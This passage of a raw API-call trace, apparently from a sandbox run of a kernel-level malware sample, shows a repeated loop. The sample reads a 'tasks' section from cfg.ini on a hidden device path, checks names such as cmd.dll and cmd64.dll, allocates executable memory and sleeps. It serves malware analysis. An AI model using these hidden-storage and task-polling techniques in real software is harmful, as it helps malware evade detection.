FastMutex=0xfffffa80027d3898) [0120.641] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.641] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbac0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.641] KeLeaveCriticalRegion () [0120.641] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.641] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.641] KeEnterCriticalRegion () [0120.641] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.641] ExFreePoolWithTag (P=0xfffffa8003bba1b0, Tag=0x0) [0120.641] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.641] KeLeaveCriticalRegion () [0120.641] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.641] ReleaseMutex (hMutex=0xf0) returned 1 [0120.641] Sleep (dwMilliseconds=0x927c0) [0120.654] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.655] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.655] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.655] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.655] KeEnterCriticalRegion () [0120.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.655] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.655] IdePortDispatch () returned 0x103 [0120.655] KeWaitForMutexObject () returned 0x0 [0120.655] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.655] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.655] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.655] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.655] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.655] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb010 [0120.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.655] KeLeaveCriticalRegion () [0120.655] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.655] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.655] KeEnterCriticalRegion () [0120.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.655] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.655] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.655] KeLeaveCriticalRegion () [0120.655] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.655] KeEnterCriticalRegion () [0120.655] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.655] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.655] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.655] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.655] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.655] IdePortDispatch () returned 0x103 [0120.655] KeWaitForMutexObject () returned 0x0 [0120.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.656] KeLeaveCriticalRegion () [0120.656] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.656] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.656] KeEnterCriticalRegion () [0120.656] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.656] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034b8000 [0120.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.656] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.656] IdePortDispatch () returned 0x103 [0120.656] KeWaitForMutexObject () returned 0x0 [0120.656] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.656] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.656] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.656] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.656] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.656] IdePortDispatch () returned 0x103 [0120.656] KeWaitForMutexObject () returned 0x0 [0120.656] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.656] KeLeaveCriticalRegion () [0120.656] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.657] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.657] KeEnterCriticalRegion () [0120.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.657] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.657] KeLeaveCriticalRegion () [0120.657] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.657] KeEnterCriticalRegion () [0120.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.657] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.657] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbba20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.657] KeLeaveCriticalRegion () [0120.657] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.657] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.657] KeEnterCriticalRegion () [0120.657] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.657] ExFreePoolWithTag (P=0xfffffa8003bbb010, Tag=0x0) [0120.657] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.657] KeLeaveCriticalRegion () [0120.657] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.657] ReleaseMutex (hMutex=0xf0) returned 1 [0120.657] Sleep (dwMilliseconds=0x927c0) [0120.673] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.673] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.674] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.674] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.674] KeEnterCriticalRegion () [0120.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.674] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.674] IdePortDispatch () returned 0x103 [0120.674] KeWaitForMutexObject () returned 0x0 [0120.674] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.674] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.674] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.674] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.674] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.674] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbadb0 [0120.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.674] KeLeaveCriticalRegion () [0120.674] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.674] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.674] KeEnterCriticalRegion () [0120.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.674] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.674] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.674] KeLeaveCriticalRegion () [0120.674] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.674] KeEnterCriticalRegion () [0120.674] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.674] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.674] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.674] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.674] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.674] IdePortDispatch () returned 0x103 [0120.674] KeWaitForMutexObject () returned 0x0 [0120.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.675] KeLeaveCriticalRegion () [0120.675] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.675] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.675] KeEnterCriticalRegion () [0120.675] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.675] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034bd000 [0120.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.675] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.675] IdePortDispatch () returned 0x103 [0120.675] KeWaitForMutexObject () returned 0x0 [0120.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.675] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.675] IdePortDispatch () returned 0x103 [0120.675] KeWaitForMutexObject () returned 0x0 [0120.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.675] KeLeaveCriticalRegion () [0120.675] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.676] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.676] KeEnterCriticalRegion () [0120.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.676] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.676] KeLeaveCriticalRegion () [0120.676] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.676] KeEnterCriticalRegion () [0120.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.676] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.676] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb760, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.676] KeLeaveCriticalRegion () [0120.676] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.676] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.676] KeEnterCriticalRegion () [0120.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.676] ExFreePoolWithTag (P=0xfffffa8003bbadb0, Tag=0x0) [0120.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.676] KeLeaveCriticalRegion () [0120.676] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.676] ReleaseMutex (hMutex=0xf0) returned 1 [0120.676] Sleep (dwMilliseconds=0x927c0) [0120.690] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.690] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.690] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.690] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.690] KeEnterCriticalRegion () [0120.690] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.690] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.690] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.690] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.690] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.690] IdePortDispatch () returned 0x103 [0120.690] KeWaitForMutexObject () returned 0x0 [0120.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.691] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.691] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.691] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.691] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.691] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb010 [0120.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.691] KeLeaveCriticalRegion () [0120.691] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.691] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.691] KeEnterCriticalRegion () [0120.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.691] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.691] KeLeaveCriticalRegion () [0120.691] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.691] KeEnterCriticalRegion () [0120.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.691] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.691] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.691] IdePortDispatch () returned 0x103 [0120.691] KeWaitForMutexObject () returned 0x0 [0120.691] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.691] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.691] KeLeaveCriticalRegion () [0120.691] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.691] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.691] KeEnterCriticalRegion () [0120.691] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.691] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c2000 [0120.691] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.691] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.692] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.692] IdePortDispatch () returned 0x103 [0120.692] KeWaitForMutexObject () returned 0x0 [0120.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.692] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.692] IdePortDispatch () returned 0x103 [0120.692] KeWaitForMutexObject () returned 0x0 [0120.692] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.692] KeLeaveCriticalRegion () [0120.692] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.693] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.693] KeEnterCriticalRegion () [0120.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.693] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.693] KeLeaveCriticalRegion () [0120.693] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.693] KeEnterCriticalRegion () [0120.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.693] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.693] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbb6c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.693] KeLeaveCriticalRegion () [0120.693] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.693] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.693] KeEnterCriticalRegion () [0120.693] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.693] ExFreePoolWithTag (P=0xfffffa8003bbb010, Tag=0x0) [0120.693] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.693] KeLeaveCriticalRegion () [0120.693] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.693] ReleaseMutex (hMutex=0xf0) returned 1 [0120.693] Sleep (dwMilliseconds=0x927c0) [0120.708] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.708] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.708] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.708] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.708] KeEnterCriticalRegion () [0120.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.709] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.709] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.709] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | 